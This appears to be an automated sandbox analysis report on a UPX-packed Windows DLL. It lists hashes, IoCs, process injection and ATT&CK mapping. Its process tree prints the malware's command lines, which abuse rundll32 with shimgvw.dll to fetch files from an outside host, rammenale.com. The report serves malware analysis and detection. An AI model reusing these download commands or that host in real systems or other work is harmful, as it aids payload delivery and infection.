4b74d5e09bca4898a782e938a8f9889b9ebadf8b0f14368bca90d9d0e68da472

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
29/08/2024, 04:52

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General

Target

4b74d5e09bca4898a782e938a8f9889b9ebadf8b0f14368bca90d9d0e68da472.dll
Size

75KB
MD5

030a68e321dec0e77b4698fccc5d54db
SHA1

7b792a49fe27a298343ba26db8cac5ccb150ff89
SHA256

4b74d5e09bca4898a782e938a8f9889b9ebadf8b0f14368bca90d9d0e68da472
SHA512

e6be981690a90fdba8ec35b426a0b4c9617f13ae91d8a93a7e2acec906b23ac46436649d1980bd805937676e7efb6b0d8d9a2b925202e1c1aff4f01e0e6b8a4c
SSDEEP

1536:NZ1aEkcCXLqDnRoTMWGuddGlCK1/hCE+pg0OoiKz25Rc5KQ:X1IXLqrRogCK1VTQK5RcIQ

Score

8^/10

discovery upx

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1588	rundll32.exe
8	2860	rundll32.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2636-0-0x0000000075720000-0x000000007574F000-memory.dmp	upx
behavioral2/memory/2636-1-0x0000000075720000-0x000000007574F000-memory.dmp	upx
behavioral2/memory/2636-5-0x0000000075720000-0x000000007574F000-memory.dmp	upx

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2860	rundll32.exe
1588	rundll32.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3272 wrote to memory of 2636	3272	rundll32.exe	84
PID 3272 wrote to memory of 2636	3272	rundll32.exe	84
PID 3272 wrote to memory of 2636	3272	rundll32.exe	84
PID 2636 wrote to memory of 1588	2636	rundll32.exe	85
PID 2636 wrote to memory of 1588	2636	rundll32.exe	85
PID 2636 wrote to memory of 1588	2636	rundll32.exe	85
PID 2636 wrote to memory of 2860	2636	rundll32.exe	86
PID 2636 wrote to memory of 2860	2636	rundll32.exe	86
PID 2636 wrote to memory of 2860	2636	rundll32.exe	86

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\4b74d5e09bca4898a782e938a8f9889b9ebadf8b0f14368bca90d9d0e68da472.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\4b74d5e09bca4898a782e938a8f9889b9ebadf8b0f14368bca90d9d0e68da472.dll,#1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    PID:1588
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2636-0-0x0000000075720000-0x000000007574F000-memory.dmp

Filesize
188KB

Download
memory/2636-1-0x0000000075720000-0x000000007574F000-memory.dmp

Filesize
188KB

Download
memory/2636-5-0x0000000075720000-0x000000007574F000-memory.dmp

Filesize
188KB

Download